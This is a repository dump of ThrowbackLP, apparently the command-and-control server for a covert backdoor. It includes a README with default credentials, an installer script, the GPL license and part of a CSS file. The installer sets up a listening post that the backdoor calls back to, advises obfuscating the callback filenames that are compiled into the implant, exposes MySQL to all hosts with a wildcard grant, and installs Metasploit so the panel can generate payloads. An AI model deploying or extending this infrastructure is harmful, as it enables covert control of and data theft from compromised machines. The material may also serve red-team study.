├── .gitattributes ├── .gitignore ├── LICENSE ├── README.md ├── ThrowbackInstaller.sh ├── cp ├── css │ ├── bootstrap-editable.css │ ├── bootstrap.min.css │ ├── stylesheet.css │ ├── theme1.css │ └── theme2.css ├── deletetask.php ├── fonts │ ├── glyphicons-halflings-regular.eot │ ├── glyphicons-halflings-regular.svg │ ├── glyphicons-halflings-regular.ttf │ └── glyphicons-halflings-regular.woff ├── history.php ├── images │ └── tb.jpg ├── includes │ ├── conf.php │ ├── header.inc.php │ ├── links.php │ ├── lock.php │ ├── msfrpcd.php │ ├── mysql.php │ └── phpdebug.php ├── index.php ├── js │ ├── bootstrap-editable.min.js │ ├── bootstrap.min.js │ ├── jquery.form.js │ └── jquery.min.js ├── login.php ├── logout.php ├── maintenance.php ├── metcreator.php ├── radar.php └── verify.php ├── index.php ├── msgrpcd.rc └── throwbackcp.sql /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # ========================= 18 | # Operating System Files 19 | # ========================= 20 | 21 | # OSX 22 | # ========================= 23 | 24 | .DS_Store 25 | .AppleDouble 26 | .LSOverride 27 | 28 | # Icon must ends with two \r. 29 | Icon 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear on external disk 35 | .Spotlight-V100 36 | .Trashes 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | 3 | Version 2, June 1991 4 | 5 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 6 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA 7 | 8 | Everyone is permitted to copy and distribute verbatim copies 9 | of this license document, but changing it is not allowed. 10 | Preamble 11 | 12 | The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. 13 | 14 | When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. 15 | 16 | To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. 17 | 18 | For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. 19 | 20 | We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. 21 | 22 | Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. 23 | 24 | Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. 25 | 26 | The precise terms and conditions for copying, distribution and modification follow. 27 | 28 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 29 | 30 | 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". 31 | 32 | Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 33 | 34 | 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. 35 | 36 | You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 37 | 38 | 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: 39 | 40 | a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. 41 | b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. 42 | c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) 43 | These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. 44 | 45 | Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. 46 | 47 | In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 48 | 49 | 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: 50 | 51 | a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, 52 | b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, 53 | c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) 54 | The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. 55 | 56 | If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 57 | 58 | 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 59 | 60 | 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 61 | 62 | 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 63 | 64 | 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. 65 | 66 | If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. 67 | 68 | It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. 69 | 70 | This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 71 | 72 | 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 73 | 74 | 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. 75 | 76 | Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 77 | 78 | 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. 79 | 80 | NO WARRANTY 81 | 82 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 83 | 84 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 85 | 86 | END OF TERMS AND CONDITIONS 87 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 0. Prepare the environment 2 | 1. apt-get install apache2 mysql-server php5 phpmyadmin curl libcurl3 php5-curl build-essential php-pear 3 | 1. Configure Apache to allow SSL connections. 4 | 1. wget http://librarian.launchpad.net/7477840/apache2-ssl.tar.gz 5 | 2. tar -zxvf apache2-ssl.tar.gz 6 | 3. mv ssleay.cnf /usr/share/apache2/ssleay.cnf 7 | 4. mkdir /etc/apache2/ssl 8 | 5. ./apache2-ssl-certificate -days 3650 9 | 6. a2enmod ssl 10 | 7. a2ensite default-ssl 11 | 2. Configure Throwback LP 12 | 1. Open PHPMyAdmin by going to http://NAME-OF-SITE/phpmyadmin 13 | 1. Log into the database 14 | 2. Click on the SQL icon in the upper left corner 15 | 3. Paste the contents of throwbackcp.sql. This will create an empty database instance. 16 | 2. Upload TB LP files to server 17 | 3. Modify cp/includes/conf.php if any default installation instructions have been modified. 18 | 4. Move index.php, res.php, and the cp folder to all the domains configured in /opt/web/ 19 | 5. You can now access the Throwback LP server at https://NAME-OF-SITE/cp/index.php 20 | 6. The default username is root and the default password is Throwback!@# 21 | 3. Configure Metasploit for use with Throwback 22 | 1. Download and install Metasploit Framework 23 | 2. See ./cp/includes/msfrpcd.php for detailed instructions 24 | 4. Allow remote access to MySQL if necessary (if more than one LP) 25 | 1. vim /etc/mysql/my.cnf and change bind-address to 0.0.0.0 26 | 2. GRANT ALL ON throwbackcp.* TO tblp@'' IDENTIFIED BY 'ThrowbackPwnage!@#'; 27 | 3. FLUSH PRIVILEGES; 28 | -------------------------------------------------------------------------------- /ThrowbackInstaller.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | TBDIR=./ThrowbackLP 4 | SQLSCRIPT=throwbackcp.sql 5 | DBNAME=throwbackcp 6 | GITURL=https://github.com/silentbreaksec/ThrowbackLP.git 7 | DBUSER=tblp 8 | red=$'\e[1;31m' 9 | green=$'\e[1;32m' 10 | end=$'\e[0m' 11 | 12 | if [ "$EUID" -ne 0 ]; then 13 | echo "${red}[+] Needs to be run as root. Exiting...${end}" 14 | exit 15 | fi 16 | 17 | echo "${green}[+] Installing a few dependencies (Apache2, PHP 5, Git, etc.) for ThrowbackLP." 18 | echo "[+] This could take a while...${end}" 19 | 20 | apt-get update > /dev/null 21 | apt-get -y install zip ntp git apt-utils dialog apache2 php5 php5-mysql &> /dev/null 22 | 23 | while true; do 24 | read -p "${red}[+] Would you like to enable SSL? (y/n)${end} " yn 25 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then 26 | setupssl=true 27 | break 28 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then 29 | setupssl=false 30 | break 31 | fi 32 | done 33 | 34 | if [ "$setupssl" = true ] ; then 35 | 36 | a2enmod ssl > /dev/null 37 | a2ensite default-ssl > /dev/null 38 | mkdir -p /etc/apache2/ssl 39 | 40 | read -p "${red}[+] Would you like to use a self-signed cert? (y/n)${end} " yn 41 | 42 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then 43 | 44 | hn=`hostname` 45 | echo "${green}[+] Generating self-signed certificates.${end}" 46 | openssl req -x509 -nodes -days 365 -subj "/C=US/ST=MD/L=FtMeade/O=NSA/CN=www.'${hn}'.com" -newkey rsa:2048 -keyout /etc/apache2/ssl/ssl.key -out /etc/apache2/ssl/ssl.crt 2> /dev/null 47 | 48 | sed -i 's/SSLCertificateFile/#SSLCertificateFile/g' /etc/apache2/sites-available/default-ssl.conf 49 | sed -i 's/SSLCertificateKeyFile/#SSLCertificateKeyFile/g' /etc/apache2/sites-available/default-ssl.conf 50 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateKeyFile \/etc\/apache2\/ssl\/ssl.key/g' /etc/apache2/sites-available/default-ssl.conf 51 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateFile \/etc\/apache2\/ssl\/ssl.crt/g' /etc/apache2/sites-available/default-ssl.conf 52 | 53 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then 54 | echo "${red}[+] Be sure to copy your certs to the locations listed below." 55 | echo "\etc\apache2\ssl\sslchain.pem" 56 | echo "\etc\apache2\ssl\ssl.key" 57 | echo "\etc\apache2\ssl\ssl.crt${end}" 58 | 59 | sed -i 's/SSLCertificateFile/#SSLCertificateFile/g' /etc/apache2/sites-available/default-ssl.conf 60 | sed -i 's/SSLCertificateKeyFile/#SSLCertificateKeyFile/g' /etc/apache2/sites-available/default-ssl.conf 61 | sed -i 's/tSSLCertificateChainFile/#SSLCertificateChainFile/g' /etc/apache2/sites-available/default-ssl.conf 62 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateChainFile \/etc\/apache2\/ssl\/sslchain.pem/g' /etc/apache2/sites-available/default-ssl.conf 63 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateKeyFile \/etc\/apache2\/ssl\/ssl.key/g' /etc/apache2/sites-available/default-ssl.conf 64 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateFile \/etc\/apache2\/ssl\/ssl.crt/g' /etc/apache2/sites-available/default-ssl.conf 65 | fi 66 | 67 | echo "${green}[+] Restarting the Apache server.${end}" 68 | service apache2 restart &> /dev/null 69 | fi 70 | 71 | echo "${green}[+] Hardening the Apache web server.${end}" 72 | sed -i 's/Options Indexes/Options/g' /etc/apache2/sites-available/000-default.conf 73 | sed -i 's/Options Indexes/Options/g' /etc/apache2/sites-available/default-ssl.conf 74 | sed -i 's/Options Indexes/Options/g' /etc/apache2/apache2.conf 75 | sed -i 's/ServerTokens OS/ServerTokens Prod/g' /etc/apache2/conf-available/security.conf 76 | sed -i 's/ServerSignature On/ServerSignature Off/g' /etc/apache2/conf-available/security.conf 77 | 78 | update-rc.d apache2 defaults &> /dev/null 79 | update-rc.d apache2 enable &> /dev/null 80 | 81 | echo "${green}[+] Checking out ThrowbackLP from GitHub.${end}" 82 | cd /tmp/ 83 | git clone $GITURL > /dev/null 84 | 85 | while true; do 86 | read -p "${red}[+] Enter the root WWW directory, or leave blank for the default. (i.e. /var/www/html)${end} " wwwrootdir 87 | if [ "${wwwrootdir}" == "" ]; then 88 | wwwrootdir=/var/www/html 89 | fi 90 | if [ -d "$wwwrootdir" ]; then 91 | break 92 | fi 93 | done 94 | 95 | echo "${green}[+] The Throwback backdoor calls back to a PHP file hosted on one or more ThrowbackLP servers. These PHP files are used for callback data (from the backdoor) and can have different filenames on the different ThrowbackLP servers. Make note of the filenames, use the mangle Python script to obfuscate them, and then compile them into the Throwback backdoor.${end}" 96 | read -p "${red}[+] What would you like to name the PHP file for the Throwback callback? (e.g. index.php)${end} " callbackfile 97 | if [ "${callbackfile}" == "" ]; then 98 | callbackfile=index.php 99 | fi 100 | 101 | echo "${green}[+] Fyi, this file is placed in ${wwwrootdir}.${end}" 102 | 103 | while true; do 104 | read -p "${red}[+] Is this server the primary ThrowbackLP? (y/n)${end} " yn 105 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then 106 | 107 | primarylp=true 108 | mkdir $wwwrootdir/cp 109 | mkdir $wwwrootdir/down 110 | 111 | while true; do 112 | read -p "${red}[+] Enter the MySQL root password. If you haven't installed MySQL, enter the password you'd like to use:${end} " mysqlpw1 113 | read -p "${red}[+] Please confirm:${end} " mysqlpw2 114 | if [ "${mysqlpw1}" == "${mysqlpw2}" ]; then 115 | break 116 | fi 117 | done 118 | break 119 | 120 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then 121 | primarylp=false 122 | 123 | while true; do 124 | read -p "${red}[+] Enter the IP address of the primary ThrowbackLP:${end} " tblp1 125 | read -p "${red}[+] Please confirm:${end} " tblp2 126 | if [ "${tblp1}" == "${tblp2}" ]; then 127 | break 128 | fi 129 | done 130 | 131 | while true; do 132 | read -p "${red}[+] Enter the password for the 'tblp' datbase user on the primary MySQL server:${end} " tblppw1 133 | read -p "${red}[+] Please confirm:${end} " tblppw2 134 | if [ "${tblppw1}" == "${tblppw2}" ]; then 135 | break 136 | fi 137 | done 138 | 139 | break 140 | fi 141 | done 142 | 143 | if [ "$primarylp" = true ] ; then 144 | 145 | echo "${green}[+] Installing MySQL server.${end}" 146 | apt-get --reinstall install bsdutils &> /dev/null 147 | debconf-set-selections <<< 'mysql-server mysql-server/root_password password '$mysqlpw1 148 | debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password '$mysqlpw1 149 | apt-get -y install mysql-server &> /dev/null 150 | 151 | echo "${green}[+] Installing SQL database and tables.${end}" 152 | mysql -u root -p$mysqlpw1 -e "create database "$DBNAME";" 153 | mysql -u root -p$mysqlpw1 $DBNAME < $TBDIR/$SQLSCRIPT 154 | 155 | echo '${green}[+] Generating random password for the ThrowbackLP database user.' 156 | echo "[+] Note that you'll need these credentials if connecting other ThrowbackLPs to this primary LP.${end}" 157 | tblppw=`head /dev/urandom | tr -dc A-Za-z0-9 | head -c 15` 158 | echo "${green}[+] For reference, the credentials are below." 159 | echo "Username: ${end}${red}tblp${end}" 160 | echo "${green}Password: ${end}${red}${tblppw}${end}" 161 | 162 | sed -i 's/public static \$host.*/public static \$host = "127.0.0.1";/g' $TBDIR/cp/includes/mysql.php 163 | sed -i 's/public static \$password.*/public static \$password = "'$tblppw'";/g' $TBDIR/cp/includes/mysql.php 164 | sed -i 's/public static \$user.*/public static \$user = "'$DBUSER'";/g' $TBDIR/cp/includes/mysql.php 165 | sed -i 's/public static \$dbName.*/public static \$dbName = "'$DBNAME'";/g' $TBDIR/cp/includes/mysql.php 166 | 167 | sed -i 's/public static \$host.*/public static \$host = "127.0.0.1";/g' $TBDIR/index.php 168 | sed -i 's/public static \$password.*/public static \$password = "'$tblppw'";/g' $TBDIR/index.php 169 | sed -i 's/public static \$user.*/public static \$user = "'$DBUSER'";/g' $TBDIR/index.php 170 | sed -i 's/public static \$dbName.*/public static \$dbName = "'$DBNAME'";/g' $TBDIR/index.php 171 | 172 | mysql -uroot -p$mysqlpw1 $DBNAME -e "GRANT ALL ON throwbackcp.* to tblp@localhost IDENTIFIED BY '${tblppw}'"; 173 | mysql -uroot -p$mysqlpw1 $DBNAME -e "GRANT ALL ON throwbackcp.* to tblp@'%' IDENTIFIED BY '${tblppw}'"; 174 | mysql -uroot -p$mysqlpw1 $DBNAME -e "FLUSH PRIVILEGES;" 175 | 176 | while true; do 177 | read -p "${red}[+] Would you like to create a user for the Throwback Control Panel? (y/n)${end} " yn 178 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then 179 | while true; do 180 | read -p "${red}[+] Enter the new username:${end} " user 181 | read -p "${red}[+] You entered ${user}. Is that correct? (y/n)${end} " yn1 182 | if [ "${yn1}" == 'y' ] || [ "${yn1}" == 'Y' ]; then 183 | break 184 | fi 185 | done 186 | 187 | while true; do 188 | read -p "${red}[+] Enter ${user}'s password:${end} " pass 189 | read -p "${red}[+] You entered ${pass}. Is that correct? (y/n)${end} " yn2 190 | if [ "${yn2}" == 'y' ] || [ "${yn2}" == 'Y' ]; then 191 | break 192 | fi 193 | done 194 | 195 | mysql -uroot -p$mysqlpw1 $DBNAME -e "INSERT INTO \`users\` (\`id\`, \`username\`, \`password\`, \`lastlogin\`) VALUES (0, '${user}', SHA1('${pass}'), '0');" 196 | 197 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then 198 | break 199 | fi 200 | done 201 | 202 | echo "${green}[+] Copying ThrowbackLP files to ${wwwrootdir}.${end}" 203 | echo "${green}[+] Fyi, these files are copied to ${wwwrootdir}/cp/.${end}" 204 | 205 | mv $TBDIR/index.php $wwwrootdir/$callbackfile 206 | cp -r $TBDIR/cp/* $wwwrootdir/cp/ 207 | 208 | sed -i 's/bind-address.*/bind-address = 0.0.0.0/g' /etc/mysql/my.cnf 209 | service mysql restart &> /dev/null 210 | 211 | update-rc.d mysql defaults &> /dev/null 212 | update-rc.d mysql enable &> /dev/null 213 | 214 | else 215 | 216 | sed -i 's/public static \$password.*/public static \$password = "'$tblppw1'";/g' $TBDIR/index.php 217 | sed -i 's/public static \$host.*/public static \$host = "'$tblp1'";/g' $TBDIR/index.php 218 | sed -i 's/public static \$user.*/public static \$user = "'$DBUSER'";/g' $TBDIR/index.php 219 | sed -i 's/public static \$dbName.*/public static \$dbName = "'$DBNAME'";/g' $TBDIR/index.php 220 | 221 | echo "${green}[+] Copying ThrowbackLP files to ${wwwrootdir}.${end}" 222 | mv $TBDIR/index.php $wwwrootdir/$callbackfile 223 | echo "${green}[+] Success! We're done here.${end}" 224 | fi 225 | 226 | chmod -R 755 $wwwrootdir > /dev/null 227 | rm -rf $TBDIR 228 | 229 | msfpw=`head /dev/urandom | tr -dc A-Za-z0-9 | head -c 10` 230 | echo load msgrpc Pass=${msfpw} > /root/msgrpc.rc 231 | 232 | 233 | if [ "$primarylp" = true ] ; then 234 | if [ "$setupssl" = true ] ; then 235 | echo "${green}[+] Success! Login to ThrowbackLP at https://[IP_OF_HOST]/cp/index.php ${end}" 236 | else 237 | echo "${green}[+] Success! Login to ThrowbackLP at http://[IP_OF_HOST]/cp/index.php ${end}" 238 | fi 239 | fi 240 | 241 | 242 | while true; do 243 | read -p "${red}[+] ThrowbackLP can also interface with Metasploit to create various payloads to perform interactive operations. Would you like to install Metasploit? This is experimental! (y/n)${end} " yn 244 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then 245 | installmsf=true 246 | break 247 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then 248 | installmsf=false 249 | break 250 | fi 251 | done 252 | 253 | if [ "$installmsf" == true ]; then 254 | 255 | echo "${red}[+] Ok, but don't say we didn't warn you!${end}" 256 | 257 | echo "${green}[+] Installing kernel headers.${end}" 258 | apt-get -y install gcc make linux-headers-$(uname -r) > /dev/null 259 | ln -s /usr/src/linux-headers-$(uname -r)/include/generated/uapi/linux/version.h /usr/src/linux-headers-$(uname -r)/include/linux/ 260 | 261 | echo "${green}[+] Installing additional dependencies.${end}" 262 | apt-get -y install php5-dev php-pear build-essential > /dev/null 263 | 264 | echo "${green}[+] Installing and configuring MsgPack for PHP. ${end}${red}Watch for any errors!${end}" 265 | #pecl install channel://pecl.php.net/msgpack-0.5.5 266 | wget --quiet https://pecl.php.net/get/msgpack-0.5.7.tgz > /dev/null 267 | tar -zxvf msgpack-0.5.7.tgz > /dev/null 268 | cd msgpack-0.5.7 > /dev/null 269 | phpize > /dev/null 270 | ./configure > /dev/null 271 | make && make install > /dev/null 272 | cd .. > /dev/null 273 | rm -rf msgpack-0.5.7 > /dev/null 274 | 275 | echo "extension=msgpack.so" >> /etc/php5/apache2/php.ini 276 | 277 | echo "${green}[+] Installing the last few dependencies.${end}" 278 | apt-get -y install curl libcurl3 libcurl3-dev php5-curl &> /dev/null 279 | 280 | machinetype=`uname -m` 281 | cd /tmp/ 282 | 283 | if [ ${machinetype} == 'x86_64' ]; then 284 | echo "${green}[+] Downloading the x64 version of Metasploit. This may take a while.${end}" 285 | wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run > /dev/null 286 | else 287 | echo "${green}[+] Downloading the x86 version of Metasploit. This may take a while.${end}" 288 | wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run > /dev/null 289 | fi 290 | 291 | echo "${green}[+] Download complete! Starting the Metasploit installer.${end}" 292 | 293 | chmod +x /tmp/metasploit-latest-linux*.run 294 | /tmp/metasploit-latest-linux*.run 295 | 296 | echo "${red}[+] Don't forget to register Metasploit! Go to https://localhost:3790 to create a user account and obtain/activate a license key.${end}" 297 | 298 | echo "${green}[+] Configuring ThrowbackLP for Metasploit.${end}" 299 | sed -i 's/\$MSFPASSWORD.*/\$MSFPASSWORD = "'$msfpw'";/g' $wwwrootdir/cp/includes/conf.php 300 | sed -i 's/\$METASPLOIT.*/\$METASPLOIT = "127.0.0.1";/g' $wwwrootdir/cp/includes/conf.php 301 | sed -i 's/\$MSFUSERNAME.*/\$MSFUSERNAME = "msf";/g' $wwwrootdir/cp/includes/conf.php 302 | 303 | echo "${green}[+] Start Metasploit via 'msfconsole -r /root/msgrpc.rc', and you **should** be able to generate payload in the ThrowbackLP interface.${end}" 304 | echo "${green}[+] It's also a good idea to create the Metasploit console in a screen session.${end}" 305 | service apache2 restart &> /dev/null 306 | fi 307 | 308 | echo "${green}[+] All done. Thanks for playing!${end}" 309 | -------------------------------------------------------------------------------- /cp/css/bootstrap-editable.css: -------------------------------------------------------------------------------- 1 | /*! X-editable - v1.5.0 2 | * In-place editing with Twitter Bootstrap, jQuery UI or pure jQuery 3 | * http://github.com/vitalets/x-editable 4 | * Copyright (c) 2013 Vitaliy Potapov; Licensed MIT */ 5 | .editableform { 6 | margin-bottom: 0; /* overwrites bootstrap margin */ 7 | } 8 | 9 | .editableform .control-group { 10 | margin-bottom: 0; /* overwrites bootstrap margin */ 11 | white-space: nowrap; /* prevent wrapping buttons on new line */ 12 | line-height: 20px; /* overwriting bootstrap line-height. See #133 */ 13 | } 14 | 15 | .editable-buttons { 16 | display: inline-block; /* should be inline to take effect of parent's white-space: nowrap */ 17 | vertical-align: top; 18 | margin-left: 7px; 19 | /* inline-block emulation for IE7*/ 20 | zoom: 1; 21 | *display: inline; 22 | } 23 | 24 | .editable-buttons.editable-buttons-bottom { 25 | display: block; 26 | margin-top: 7px; 27 | margin-left: 0; 28 | } 29 | 30 | .editable-input { 31 | vertical-align: top; 32 | display: inline-block; /* should be inline to take effect of parent's white-space: nowrap */ 33 | width: auto; /* bootstrap-responsive has width: 100% that breakes layout */ 34 | white-space: normal; /* 